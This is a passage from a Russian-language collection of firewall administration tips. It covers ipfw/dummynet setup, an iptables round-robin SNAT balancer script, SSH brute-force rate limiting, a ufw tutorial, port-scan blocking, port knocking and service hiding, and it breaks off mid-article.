       $ sudo insmod ./dummynet2/ipfw_mod.ko
       $ lsmod| grep ipfw
       ipfw_mod               86695  0 
    
    Проверяем работу утилиты:
    
       $ sudo ipfw/ipfw show
    
       65535 54 6340 allow ip from any to any
    
       $ sudo ipfw/ipfw 10 add deny ip from 192.168.100.100 to any
    
       00010 deny ip from 192.168.100.100 to any
    
       $ sudo ipfw/ipfw show
    
       00010   1    84 deny ip from 192.168.100.100 to any
       65535 121 22335 allow ip from any to any
    
    
    Для Windows достаточно загрузить со страницы
    http://info.iet.unipi.it/~luigi/dummynet/ готовые исполняемые файлы.
    Для установки драйвера в панели конфигурации сетевой карты ( Control Panel ->
    Network -> карта) перейти в Properties->Install->Service->Add, выбрать 'Driver
    Disk' и указать на файл 'netipfw.inf', после чего выбрать 'ipfw+dummynet'.
    
     
    ----* Round Robin балансирование IP адресов исходящих соединений средствами iptables (доп. ссылка 1)   Автор: Stanislav S. Osipov  [комментарии]
     
    Данное решение отличается изящностью, так как реализует все средствами iptables. 
    Синтаксис: на машине, которая должна балансировать исходящие соединения,
    выполнить скрипт balancer.sh:
    
      sh ./balancer.sh
    
    Выключить балансер:
    
      sh ./balancer.sh off
    
    Замечание: При работе создается временный файл ~/balancer-rules.sav,
    используемый для уборки за собой при выключении балансера.
    
    balancer.sh
    
       #!/bin/bash
    
       # Written by Stanislav S. Osipov, demofly@mail.ru
       # Created 2010.08.08
       # Script makes SNAT round robin balancing for connections between all real IPA of this host
       #
       # OpenVZ guest warning: you must allow the next options:
       #  IPTABLES="ip_tables iptable_filter iptable_mangle iptable_nat ip_conntrack ipt_conntrack ipt_state"
    
       myips=`/sbin/ifconfig | /bin/grep "inet a" | /usr/bin/awk "{print \\$2}" | /usr/bin/cut -d: -f2 
       | /bin/grep -v "^127\.\|^10\.\|^192\.168\.\|^172\.\([12][0-9]\|3[01]\)\."`
    
       myipscount=`/sbin/ifconfig | /bin/grep "inet a" | /usr/bin/awk "{print \\$2}" | /usr/bin/cut -d: -f2 
       | /bin/grep -v "^127\.\|^10\.\|^192\.168\.\|^172\.\([12][0-9]\|3[01]\)\." | /usr/bin/wc -l`
    
       if [ $myipscount -lt 2 ] && [ "$1" != "off" ]
       then
           /bin/echo "you have not enough IPAs for balancing"
           /bin/echo "I have $myipscount IPAs:"
           /bin/echo $myips
           exit 0
       fi
    
       #for connections, initiated from this host
       chain="OUTPUT"
       #for connections, initiated by other hosts, which go through this host
       #chain="FORWARD"
    
       /bin/echo "Cleaning old balancer iptables rules..."
       if [ -e ~/balancer-rules.sav ]
       then
           /bin/cat ~/balancer-rules.sav | /bin/bash
           /bin/echo > ~/balancer-rules.sav
       else
           /bin/echo "No previously dumped rules was found."
       fi
       /bin/echo "Cleaning was done."
       if [ "$1" == "off" ]
       then
           if [ -e ~/balancer-rules.sav ]
           then
               rm ~/balancer-rules.sav
           fi
           exit 0
       fi
       /bin/echo "I have $myipscount IPAs:
       $myips
       Generating and writing mangle table mark logic rules..."
       i=1
       while [ $i -le $myipscount ]
       do
           RULE1="/sbin/iptables -t mangle -A $chain -j CONNMARK --set-mark $i"
           RULE2="/sbin/iptables -t mangle -A $chain -m statistic --mode nth --every $((myipscount-i+1)) -j RETURN"
           /bin/echo $RULE1
           $RULE1
           /bin/echo $RULE2
           $RULE2
           /bin/echo $RULE1 | /bin/sed -e "s# -A # -D #" >> ~/balancer-rules.sav
           /bin/echo $RULE2 | /bin/sed -e "s# -A # -D #" >> ~/balancer-rules.sav
        ((i++))
       done
       /bin/echo "...mangle table mark rules was done."
    
       /bin/echo "Writing SNAT mark based rules:"
       i=1
       for ip in $myips
       do
           RULE="/sbin/iptables -t nat -A POSTROUTING -m connmark --mark $i -j SNAT --to $ip"
           /bin/echo $RULE
           $RULE
           /bin/echo $RULE | /bin/sed -e "s# -A # -D #" >> ~/balancer-rules.sav
           ((i++))
       done
       /bin/echo "...nat table SNAT rules was done.
       Round robin balancer is turned on.
       Thank you for using this script written by Stanislav S. Osipov!"
    
    
    Как проверить
    
    Создать файл в DocumentRoot на какой-нить машине с апачом такого вида: `ip.php`:
    
       <?
       echo $_SERVER['REMOTE_ADDR']."\n";
       ?>
    
    И запустить такой тест с машины, которая работает с правилами балансера (для
    успешного теста на машине должна стоять библиотека libwww-perl):
    
       i=1; count=20; url="http://my.www.ru/ip.php"; while [ $i -lt $count ]; do GET "$url"; ((i++)); done
    
    Как выглядит в работе
    
       root@h1:~# i=1; count=10; url="http://my.www.ru/ip.php"; while [ $i -lt $count ]; do GET "$url"; ((i++)); done
       
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
    
       root@h1:~# ./balancer.sh
    
       Cleaning old balancer iptables rules...
       No previously dumped rules was found.
       Cleaning was done.
       I have 3 IPAs:
       95.239.178.214
       95.239.178.220
       95.239.178.221
    
       Generating and writing mangle table mark logic rules...
       /sbin/iptables -t mangle -A OUTPUT -j CONNMARK --set-mark 1
       /sbin/iptables -t mangle -A OUTPUT -m statistic --mode nth --every 3 -j RETURN
       /sbin/iptables -t mangle -A OUTPUT -j CONNMARK --set-mark 2
       /sbin/iptables -t mangle -A OUTPUT -m statistic --mode nth --every 2 -j RETURN
       /sbin/iptables -t mangle -A OUTPUT -j CONNMARK --set-mark 3
       /sbin/iptables -t mangle -A OUTPUT -m statistic --mode nth --every 1 -j RETURN
       ...mangle table mark rules was done.
       Writing SNAT mark based rules:
       /sbin/iptables -t nat -A POSTROUTING -m connmark --mark 1 -j SNAT  --to 95.239.178.214
       /sbin/iptables -t nat -A POSTROUTING -m connmark --mark 2 -j SNAT --to 95.239.178.220
       /sbin/iptables -t nat -A POSTROUTING -m connmark --mark 3 -j SNAT --to 95.239.178.221
       ...nat table SNAT rules was done.
       Round robin balancer is turned on.
       Thank you for using this script written by Stanislav S. Osipov!
    
       root@h1:~# i=1; count=10; url="http://my.www.ru/ip.php"; while [  $i -lt $count ]; do GET "$url"; ((i++)); done
    
       95.239.178.214
       95.239.178.221
       95.239.178.220
       95.239.178.214
       95.239.178.221
       95.239.178.220
       95.239.178.214
       95.239.178.221
       95.239.178.220
    
       root@h1:~# ./balancer.sh off
    
       Cleaning old balancer iptables rules...
       Cleaning was done.
    
       root@h1:~# i=1; count=10; url="http://my.www.ru/ip.php"; while [ $i -lt $count ]; do GET "$url"; ((i++)); done
    
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
       95.239.178.214
    
     
    ----* Защита от bruteforce средствами iptables (доп. ссылка 1)   Автор: Владимир  [комментарии]
     
    В заметке приведены различные варианты защиты от bruteforce-атак,   на примере
    блокирования последовательного подбора паролей через ssh.
    
    Общий шаблон правил
    
       iptables -P INPUT DROP
       iptables -P OUTPUT DROP
       iptables -P FORWARD DROP
    
       iptables -A INPUT -p all -i lo -j ACCEPT
       iptables -A OUTPUT -p all -o lo -j ACCEPT
    
    Здесь будут наши правила (вариант)
    
       iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A OUTPUT -p all -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    
    
    Вариант 1, используя модуль recent:
    
    Добавляем ip в таблицу
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --name BLOCK -set
    
    С одного ip разрешаем 2 (--hitcount 3-1) запроса на соединение (NEW) в минуту (60 секунд), 
    третье блокируется и все последующие в течение минуты
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --name BLOCK --update --seconds 60 --rttl --hitcount 3 -j DROP
    
    Разрешаем входящие соединения на 22 порт
       iptables -A INPUT -p tcp --syn --dport 22 -j ACCEPT
    
    
    Вариант 2, используя модуль hashlimit:
    
    С одного ip разрешаем 2 запроса на соединение (NEW) в минуту (2/m) все
    остальные пакеты (NEW) c этого ip блокируется
    
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m hashlimit \
          --hashlimit-name BLOCK --hashlimit-mode srcip --hashlimit-above 2/m --hashlimit-burst 2 -j DROP
    
    Разрешаем входящие соединения на 22 порт
       iptables -A INPUT -p tcp --syn --dport 22 -j ACCEPT
    
    
    Вариант 3, используя модули connlimit, limit:
    
    С одного ip разрешаем не больше одно соединения (! --connlimit-above 1) на 22
    порт, пропускаем 2 пакета в минуту с запросом на соединение (NEW), все
    остальные пакеты (NEW) c этого ip блокируется
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m connlimit ! \
          --connlimit-above 1 -m limit --limit 2/m --limit-burst 2 -j ACCEPT
    
    Вариант 4, параноидальный:
    
    Два раза в течение минуты разрешено подключаться к 22 порту, при превышении
    порога ip блокируется на 10 минут.
    
    блокируем ip с запросом на соединение (NEW) попавшие в динамически обновляемую
    таблицу на 600 секунд
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --name BLOCK --rcheck --seconds 600 -j DROP
    
    С одного ip разрешаем 2 запроса на соединение (NEW) в минуту (2/m), если
    превышен порог,то добавляем ip в таблицу BLOCK для блокировки на 600 секунд (10 минут)
       iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m hashlimit \
          --hashlimit-name BLOCK --hashlimit-mode srcip --hashlimit-above 2/m --hashlimit-burst 2 -m recent --name BLOCK --set -j DROP
    
    Разрешаем входящие соединения на 22 порт
       iptables -A INPUT -p tcp --syn --dport 22 -j ACCEPT
    
     
    ----* Защита от спамерских и bruteforce-атак с помощью iptables   Автор: Забудкин Лев Мирославович  [комментарии]
     
    Сохраняем в файл скрипт:
    
       #!/bin/sh
       # Защита от спамовских атак и от BRUTE-атак с помощью IPTABLES
       # REJECT_BRUTERS v.1.0 Lev Zabudkin. zabudkin@mail.ru. http://zabudkin.ru
       # 23.03.2010
       #
       #  Описание:
       #   Данный скрипт позволяет Вам, используя iptables заблокировать
       #   дальнейшие попытки соединения от надоедливых хостов,
       #   которые пытались приконнектиться в течении определенного Вами времени
       #   и определенное Вами количество раз.
       #
       #  Итак поехали:
       #
       #  Мы создаём ниже переменную IPTABLES, дабы не указывать  постоянно где он лежит 
       #  Где у Вас лежит iptables?  (подсказка: # whereis iptables)
       IPTABLES="/sbin/iptables"
    
       #  На каком сетевом интерфейсе контролировать коннекты
       CHECK_INT="ppp0"
    
       #  Сколько именно коннектов Вы разрешаете с одного хоста?
       #  В данном случае указано 2, чего вполне достаточно для SMTP.
       MAXIMUM_CONNECTIONS_PER_PERIOD=2
    
       #  А в течение скольки секунд они разрешены?
       PERIOD_SECONDS=60
    
       #  Пояснение:  Если в течении Выше указанных секунд хост (в данном примере любой(!))
       #  попытается приконнектиться к Вам, то соединение будет отброшено (см. -j DROP)
       #  причем НАВСЕГДА, т.е ДО ТЕХ ПОР, пока Вы не обнулите цепочку BRUTE_CHECK
       #  ключём -F BRUTE_CHECK команды iptables
    
       #  Создаём цепочку  BRUTE_CHECK
       $IPTABLES -N BRUTE_CHECK
       #  Обнуляем правила цепочки BRUTE_CHECK
       $IPTABLES -F BRUTE_CHECK
    
       #  В данном случае мы удаляем ранее сделанное "перенаправление" (см. чуть ниже)
       #  чтобы этот скрипт можно было вызывать многократно
       $IPTABLES -D INPUT -j BRUTE_CHECK
    
       #  В данном случае мы "перенаправляем" для обработки входящие пакеты
       #  в нашу созданную цепочку
       $IPTABLES -A INPUT -j BRUTE_CHECK
    
       #  А тут уже пошли наши правила, которые гласят:
       #  все входящие пакеты на сетевой интерфейс (мы его указали выше),
       #  которые являются для нас новыми (см. state) и которые соответствуют нашим
       #  параметрам (см. выше), мы отбрасываем.
       $IPTABLES -A BRUTE_CHECK -i $CHECK_INT -p tcp -m state --state NEW -m recent --set --name BRUTE
    
       # См. Ниже Пояснение, если понадобится, то раскоментируете нижеприведенную строку 
       # (просто уберите символ решетки - #)
       #$IPTABLES -A BRUTE_CHECK -i $CHECK_INT -p tcp -m state --state NEW -m recent --update --seconds $PERIOD_SECONDS \
       #  --hitcount $MAXIMUM_CONNECTIONS_PER_PERIOD --rttl --name BRUTE -j LOG --log-level 4 --log-prefix '** BRUTE **'
    
       $IPTABLES -A BRUTE_CHECK -i $CHECK_INT -p tcp -m state --state NEW -m recent --update --seconds $PERIOD_SECONDS \
         --hitcount $MAXIMUM_CONNECTIONS_PER_PERIOD --rttl --name BRUTE -j DROP
    
    
    Пояснение:
    
    Для того, чтобы видеть, каких же успехов Вы добились, применив выше написанное,
    проделайте следующее:
    
    откройте файл /etc/syslog.conf и добавьте в конец строку:
    
       kern.warning /var/log/iptables.log
    
    затем перезапустите syslog:
    
       /etc/init.d/syslog restart
    
    (если у Вас Ubuntu, то наверное это sysklogd)
    
    События (про попытки) будут записываться в файл /var/log/iptables.log,
    его и смотрите.
    
    Да, и будет не лишним добавить данный скрипт в CRON (/etc/crontab),
    скажем каждые 5 минут:
    
       */5 * * * * root Путь/ВашСкрипт
    
     
    ----* Защищаем http-proxy от пробрасывания http-туннеля средствами iptables (доп. ссылка 1)   Автор: Владимир   [комментарии]
     
    При пробрасывании http-туннеля через http-прокси, http-заголовок пакета имеет
    аномально маленький размер, порядка 80-90 байт, так как передается лишь
    минимальный набор данных. Заголовок передаваемых браузером запросов обычно не
    бывает меньше 350 байт. Основываясь на данной особенности можно отфильтровать
    проброшенных поверх http-прокси туннели.
    
       # политика по умолчанию
       iptables -P INPUT DROP
       iptables -P OUTPUT DROP
       iptables -P FORWARD DROP
    
       # создаём новую цепочку LENGTH
       iptables -N LENGTH
    
       # проверяем длину пакета, если меньше 350 байт то блокируем
       iptables -A LENGTH -p tcp --dport 3128 -m length --length :350 -j DROP
    
       # если пакет больше 350 байт то пропускаем
       iptables -A LENGTH -p tcp --dport 3128 -j ACCEPT
    
       # разрешаем подключение на порт 3128
       iptables -A INPUT -p tcp --syn --dport 3128 -j ACCEPT
    
       # в установленом соединении проверяем пакеты на запрос GET --hex- string "|47 45 54 20|" 
       # если есть такой пакет то направляем его в цепочку LENGTH для проверки длины пакета
       iptables -A INPUT -p tcp --dport 3128 -m state --state ESTABLISHED -m string --algo kmp \
          --hex-string "|47 45 54 20|" --from 52 --to 56 -j LENGTH
    
       iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A OUTPUT -p all -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    
    
    Представленный пример опробован  на httptunnel 
    
     
    ----* Настройка ufw в Ubuntu (доп. ссылка 1)   Автор: Eugene Shelepov  [комментарии]
     
    Начиная с версии Ubuntu 8.04 в ее состав по умолчанию включена новая упрощенная
    оболочка для работы с файрволом - ufw (Uncomplicated firewall -
    "незамысловатый" брэндмауер). Как известно Linux по умолчанию имеет очень
    мощный встроенный сетевой фильтр - netfilter.
    
    Стандартной утилитой для управления настройками netfilter является утилита
    iptables. Ufw создан для того чтобы сделать более простым настройку
    netfilter-а. По сути ufw - это скрипт, который получает команды в одном формате
    и преобразует их в формат iptables.
    
    Так как ufw является упрощенной утилитой настройки файрвола, он так же является
    и более ограниченным в своих возможностях по сравнению с iptables. Практика
    показывает что большинству пользователей вполне достаточно функционала который
    предоставляет ufw. В то же время, в случае необходимости всегда можно дописать
    нужное правило с помощью iptables.
    
    Функционал ufw
    
    Основными функциями файрвола ufw является:
    
    1. Работа в одном из двух режимов: разрешено все кроме того что описано
    правилами, запрещено все, кроме описанного правилами.
    2. Создание правил для фильтрации пакетов с действиями allow, deny, reject
    3. Создание правил с учетом адреса и порта получателя и отправителя, используемого протокола
    4. Логирование пакетов подпадающих под правило
    5. Блокировка частых неправильных попыток авторизации по ssh
    6. Настраиваемые профили для приложений
    
    Запуск ufw
    
    Ufw может быть включен или выключен системным администратором сервера, для
    этого используется команд:
    
       # ufw enable
    
    Межсетевой экран активен и будет запущен при запуске системы
    
       # ufw disable
    
    Файрвол остановлен и деактивирован при загрузке
    
    Просматривать состояние можно с помощью команды:
    
       # ufw status [numbered]
       Status: active
    
    Параметр numbered может быть использован для отображения правил файрвола с
    соответствующей нумерацией.
    
    Изменение политики по умолчания:
    
       # ufw default allow [in|out]
       # ufw default deny [in|out]
       # ufw default reject [in|out]
    
    Где allow подразумевает что все пакеты будут пропущены, кроме тех, для которых
    есть запрещающее правило: deny - все пакеты будут заблокированы, кроме
    тех, для которых есть разрешающие правила; reject - все пакеты будут
    заблокированы с соответствующим уведомлением подключающуюся сторону.
    
    Параметры in|out указывают для какого направления мы хотим применять политику,
    для входящих или исходящих пакетов соответственно.
    
    Управление правилами осуществляется с помощью команд allow, deny, reject, delete, insert.
    
    allow - добавить разрешающее правило
    
    deny - добавить запрещающее правило (файрвол не предпринимает действий при попадании в это правило)
    
    reject - добавить запрещающее правило (файрвол даст знать подключающемуся что этот порт закрыт)
    
    limit - добавляет ограничивающее правило для указанного порта. В случае если с
    одного и того же адреса в течении 30 секунд будет произведено 6 и более
    неуспешных попыток авторизации в службу удаленного доступа ssh, ufw заблокирует
    удаленный адрес.
    
    delete - удалить добавленное ранее правило
    
    insert - вставить правило в определенную позицию в цепочке
    
    Построение правил файрвола
    
    Конструкция построения правил
    
       ufw allow|deny|reject|limit [in|out on INTERFACE] [log|log-all] [proto protocol] \
       [from ADDRESS [port PORT]] [to ADDRESS [port PORT]]
    
    Подробнее о параметрах:
    
    allow|deny|reject|limit - указываем что будет делать это правило (см. описание выше).
    
    [in|out on INTERFACE] - указываем будет это правило относится к входящему
    трафику (in) или исходящему (out) и хотим ли мы ограничить данное правило
    отдельным сетевым интерфейсом (к примеру eth0).
    
    [log|log-all] - при желании можно логировать события которые подпадают под
    правило. По умолчанию лог пишется в /var/log/syslog. При использовании опции
    log - в файл будут записаны лишь пакеты участвующие при установке соединения с
    сервером. Используя опцию log-all в лог файл будут записаны все пакеты
    подпадающие под правило.
    
    [proto protocol] - в правиле можно указать для какого протокола оно действует: tcp или udp.
    
    [from ADDRESS [port PORT]] - адрес и порт источника пакета
    
    [to ADDRESS [port PORT]] - адрес и порт получателя пакета
    
    Профили приложений
    
    Ufw позволяет создавать профили приложений. в которых можно указать все порты
    которые используются и удобно добавлять их в правила. Так к примеру можно
    создать профиль для веб-сервера Apache, указав что слушает он 80 и 443 порты по
    протоколу tcp.
    
    Профили приложений являются текстовыми файлами и могут быть отредактированы
    любым текстовым редактором. все файлы хранятся в директории /etc/ufw/applications.d:
    
       root@server:/etc/ufw/applications.d# pwd
       /etc/ufw/applications.d
       root@server:/etc/ufw/applications.d# ls -l
       -rw-r--r-- 1 root root 406 2009-11-13 00:52 apache2.2-common
       -rw-r--r-- 1 root root 145 2009-10-22 22:50 openssh-server
       -rw-r--r-- 1 root root 241 2009-09-22 16:52 postfix
      
    Рассмотрим пример профиля приложения apache2.2-common:
    
       [Apache]
       title=Web Server
       description=Apache v2 is the next generation of the omnipresent Apache web server.
       ports=80/tcp
       [Apache Secure]
       title=Web Server (HTTPS)
       description=Apache v2 is the next generation of the omnipresent   Apache web server.
       ports=443/tcp
       [Apache Full]
       title=Web Server (HTTP,HTTPS)
       description=Apache v2 is the next generation of the omnipresent Apache web server.
       ports=80,443/tcp
    
    В одном файле может находится несколько профилей. В данном примере 3: Apache,
    Apache Secure, Apache Full. Структура записей проста: сначала имя профиля в
    квадратных скобка ([Apache Full]), далее развернутое наименования приложения,
    далее описание приложения и список портов с указанием протокола которые
    задействованы в профиле (80,443/tcp).
    
    Вывести список профилей можно с помощью команды:
    
       # ufw app list
    
    Доступные приложения:
    
       Apache
       Apache Full
       Apache Secure
       OpenSSH
       Postfix
       Postfix Submission
    
    Детальную информацию по профилю можно просмотреть с помощью команды:
    
       # ufw app info OpenSSH
       |Профиль: OpenSSH
       |Название: Secure shell server, an rshd replacement
       |Описание: OpenSSH is a free implementation of the Secure Shell
    protocol.
       |Порт: 22/tcp
    
    После добавления или изменения профиля приложения (в файле) необходимо дать
    знать файрволу о новом профиле:
    
       # ufw app update OpenSSH
    
    Для того чтобы новый профиль сразу вступил в силу, необходимо добавить опцию --add-new:
    
       # ufw app update --add-new OpenSSH
    
    По умолчанию добавленные с помощью --add-new профили не будут обрабатываться
    файрволом. Рекомендуется вначале задать политику для новых профилей приложений:
    
      ufw app default allow|deny
    
    После чего все новые профили приложений будут добавляться в цепочку файрвола с указанной политикой.
    
    Использовать профили приложений можно также при создании обычных правил, например:
    
      # ufw allow OpenSSH
    
    Настройка профиля безопасности
    
    1. Ограничение входящих подключений к FTP и Веб серверу
    Пример настройки файрвола для ситуации, когда необходимо заблокировать доступ к
    FTP и Веб серверу с адреса 192.168.100.100. В примере 192.168.1.11 - сервер на
    котором настраивается файрвол:
    
       # ufw deny proto tcp from  192.168.100.100 to 192.168.1.11 port 21,80
    
    Правило добавлено
    
       # ufw status
       |Статус: активно
       |До Действие От
       ---- --------------------
       192.168.1.11 21,80/tcp DENY 192.168.100.100
    
    Теперь при попытках подключения с хоста 192.168.100.100 к 21 или 80 порту хоста
    192.168.1.11 клиент будет висеть пока не отвалится по таймауту.
    
    Удалим это правило и добавить аналогичное но с действием reject:
    
       # ufw delete deny proto tcp from 192.168.100.100 to 192.168.1.11 port 21,80
       # ufw reject proto tcp from 192.168.100.100 to 192.168.1.11 port 21,80
    
    Теперь при попытке подключения к 21 порту сервера удаленный клиент получит
    ответ Connection refused:
    
       $ telnet 192.168.1.11 21
       Trying 192.168.1.11...
       telnet: Unable to connect to remote host: Connection refused
    
    Просканируем порты сервера:
    
       # nmap -sT 192.168.1.100
       Starting Nmap 5.00 ( http://nmap.org ) at 2009-12-28 22:56 EET
       Interesting ports on 192.168.1.100:
       Not shown: 992 closed ports
       PORT STATE SERVICE
       21/tcp filtered ftp
       22/tcp open ssh
       80/tcp filtered http
       139/tcp open netbios-ssn
       445/tcp open microsoft-ds
       2323/tcp open unknown
       3128/tcp open squid-http
       5900/tcp open vnc
       MAC Address: 00:18:F3:67:85:9E (Asustek Computer)
       Nmap done: 1 IP address (1 host up) scanned in 17.52 seconds
    
    2. Ограничение исходящих подключений к указанному серверу
    
    Цель - запретить исходящие подключения с сервера к адресу 195.214.195.105:
    
       # ufw deny proto tcp to 195.214.195.105
    
    3. Ограничение попыток авторизации по ssh
       # ufw limit 22
    
    Произведем несколько попыток подключения к 22 порту сервера с введением
    заведомо неправильного пароля:
    
       $ ssh 192.168.1.100
       user@192.168.1.100's password:
       Permission denied, please try again.
       ...
       $ ssh 192.168.1.100
       ssh: connect to host 192.168.1.100 port 22: Connection refused
    
    Как видим после нескольких неудачных попыток файрвол блокирует IP адрес с
    которого исходят попытки подключения и в логах появится соответсвтующяя запись:
    
       Dec 28 22:59:13 fortress kernel: [273659.578463] [UFW LIMIT BLOCK] 
          IN=eth0 OUT= MAC=00:18:f3:67:85:9e:00:26:5e:46:40:86:08:00 
          SRC=192.168.1.156 DST=192.168.1.100 LEN=60 TOS=0x00 PREC=0x00 
          TTL=64 ID=3150 DF PROTO=TCP SPT=33783 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0
    
    4. Логирование пакетов
    
       # ufw allow log 22
    
    С помощью этого правила файрвол будет логировать пакеты установки соединиения
    по указанному 22 порту. В логах появятся следующие записи:
    
       Dec 28 23:04:18 fortress kernel: [273964.364715] [UFW ALLOW] IN=eth0 
        OUT= MAC=00:18:f3:67:85:9e:00:26:5e:46:40:86:08:00 
        SRC=192.168.1.156 DST=192.168.1.100 LEN=60 TOS=0x00 PREC=0x00 
        TTL=64 ID=6564 DF PROTO=TCP SPT=58069 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0
    
     
    ----* Защита от трассировки маршрутов с помощью iptables (доп. ссылка 1)   Автор: Владимир  [комментарии]
     
    Для того, чтобы затруднить исследование сети (локальной, DMZ и т.д.) можно
    заблокировать все пакеты с низким значением TTL. Пример блокирования пакетов с
    TTL меньше 5:
    
       iptables -A INPUT -p all -m ttl --ttl-lt 5 -j DROP
    
    или
    
       iptables -A FORWARD -p all -m ttl --ttl-lt 5 -j DROP
    
     
    ----* Активное противодействие сканированию портов (доп. ссылка 1)   Автор: Владимир  [комментарии]
     
    Имеется сервер на нем ssh и web. Ниже приведён простой пример правил для
    блокирования на определенное время IP, обратившегося по неактивному номеру порта.
    
       iptables -P INPUT DROP
       iptables -P OUTPUT DROP
       iptables -P FORWARD DROP
    
       iptables -A INPUT -p all -i lo -j ACCEPT
       iptables -A OUTPUT -p all -o lo -j ACCEPT
    
       # любой пакет идущий на не 22,80 порт блокируется с ip адресом отправившим его на 120 секунд, 
       # на 120 секунд блокируется все пакеты с этого ip, тем самым предотвращается сканирование портов
       iptables -A INPUT -m recent --rcheck --seconds 120 --name FUCKOFF -j DROP
       iptables -A INPUT -p tcp -m multiport ! --dports 22,80 -m recent --set --name FUCKOFF -j DROP
    
       iptables -A INPUT -p tcp --syn --dport 22 -j ACCEPT
       iptables -A INPUT -p tcp --syn --dport 80 -j ACCEPT
       iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A OUTPUT -p all -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    
    
    Теперь nmap -sV ip не выдаст ничего и  если какой нибудь демон повесить на
    нестандартный порт, его будет не так просто обнаружить.
    
     
    ----* Защищаем SSH при помощи технологии "Port Knocking" (доп. ссылка 1) (доп. ссылка 2)   Автор: Дмитрий  [комментарии]
     
    Реализация идеи динамического открытия доступа к 22 порту, при предварительном
    обращении telnet-ом на определенный сетевой порт (в примере 333 - открыть
    доступ и 334 - закрыть). Идея реализована средствами iptables, без привлечения
    дополнительных утилит и анализаторов логов.
    
       # Создаю цепочку с именем SSH
       iptables -N SSH
       # Правило по умолчанию в INPUT - DROP
       iptables -P INPUT DROP 
       # Всё что пришло на 22 порт - в цепочку SSH
       iptables -A INPUT -p tcp --dport 22 -j SSH 
       # Всё что пришло на 333 порт - в цепочку SSH
       iptables -A INPUT -p tcp --dport 333 -j SSH 
       # Всё что пришло на 334 порт - в цепочку SSH
       iptables -A INPUT -p tcp --dport 334 -j SSH 
    
    Разделения на цепочки сделано для своего удобства, от этого можно и отказаться. 
    
    Теперь заполняем цепочку SSH.
    
       # Проверяем на наличие имени "SSH" у IP адреса устанавливающего соединение на 22 порт. 
       # И если оно присутствует - то ACCEPT
       iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 22 -m recent --rcheck --name SSH --rsource -j ACCEPT
    
       # Устанавливает имя SSH любому IP адресу с которого пришло новое TCP соединение на указанный порт. (порт 333)
       iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 333 -m recent --set --name SSH --rsource -j DROP
    
       # Удаляет имя "SSH" с IP адреса установившего соединение на этот порт. (порт 334)
       iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 334 -m recent --remove --name SSH --rsource -j DROP
    
    Насладимся итоговым результатом: 
    
    Делаем: 
       telnet ip_address_or_domain_name 333
    После чего спокойно подключаемся по SSH.
    
    Когда прекращаем работу закрываем за собой 22 порт:
       telnet ip_address_or_domain_name 334
    
     
    ----* Методы сокрытия сервисов средствами iptables на примере sshd (доп. ссылка 1) (доп. ссылка 2)   Автор: Владимир  [комментарии]
     
    Все действия в нижеизложенной статье выполнялись в debian 5, стандартными
    средствами. Методы предназначены для сокрытия сервисов.
    
    Ниже представлен простой шаблон правил:
    
       iptables -P INPUT DROP
       iptables -P OUTPUT DROP
       iptables -P FORWARD DROP
    
       iptables -A INPUT -p all -i lo -j ACCEPT
       iptables -A OUTPUT -p all -o lo -j ACCEPT
    
       ... ЗДЕСЬ НАШЕ ПРАВИЛО
    
       iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
       iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A OUTPUT -p all -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    
    
    1. Использование нестандартного диапазона tcp портов при установлении исходящего соединения.
    
    Идея заключается в установлении нестандартных номеров портов (для исходящих
    соединений) на КЛИЕНТСКОЙ СТОРОНЕ и фильтрации фаерволом на сервере при
    установлении соединения по этим портам, тем самый делая наш sshd не видимым для
    всех и доступным для нас :)
    
    Реализуем идею на практике: По умолчанию диапазон портов в linux равен от 32768
    до 61000 (значения в различных дистрибутивах могут отличатся)
    
    посмотреть установленные значения можно командой
    
       cat /proc/sys/net/ipv4/ip_local_port_range
       32768 61000
    
    изменяем на, к примеру 30000 32500 (на клиентской ОС linux)
    
       echo "30000 32500">/proc/sys/net/ipv4/ip_local_port_range
    
    правило будет выглядеть так:
    
       iptables -A INPUT -p tcp --syn --sport 30000:32500 --dport 22 -j ACCEPT
    
    Правило означает: входящие подключение по протоколу tcp с
    флагами:FIN,SYN,RST,ACK/SYN с диапазона портов 30000:32500 на порт 22 разрешить
    
    
    2. Фильтрация на основе ttl (время жизни пакета)
    
    Здесь можно пойти несколькими путями:
    
    1) Суть заключается в привязывании к числу маршрутизаторов, через которые
    проходит пакет (ttl уменьшается на 1 при прохождении маршрутизатора), а так как
    количество маршрутизаторов в разных сетях разное, то получаем значение ttl
    равное числу по умолчанию минус число пройденных маршрутизаторов.
    
    В данном варианте на клиентской ОС ничего менять не будем.
    Выполним трассировку до нашего сервера, затем от значения ttl по умолчанию
    отнимем количество хостов до нашего сервера (default ttl - traceroute) получим
    значение ttl по которому будем принимать пакеты на стороне сервера.
    
    В linux значение ttl по умолчанию равно 64, посмотреть можно командой
    
       cat /proc/sys/net/ipv4/ip_default_ttl
       64
    
    Пример: выполняем трассировку
    
       tcptraceroute ya.ru
       ...
       9 ya.ru (93.158.134.8) [open] 556.844 ms 474.811 ms *
    
    Всего в пути встретилось 9 узлов, значит к серверу придёт пакет с ttl=55 (64-9=55)
    правило будет выглядеть так:
    
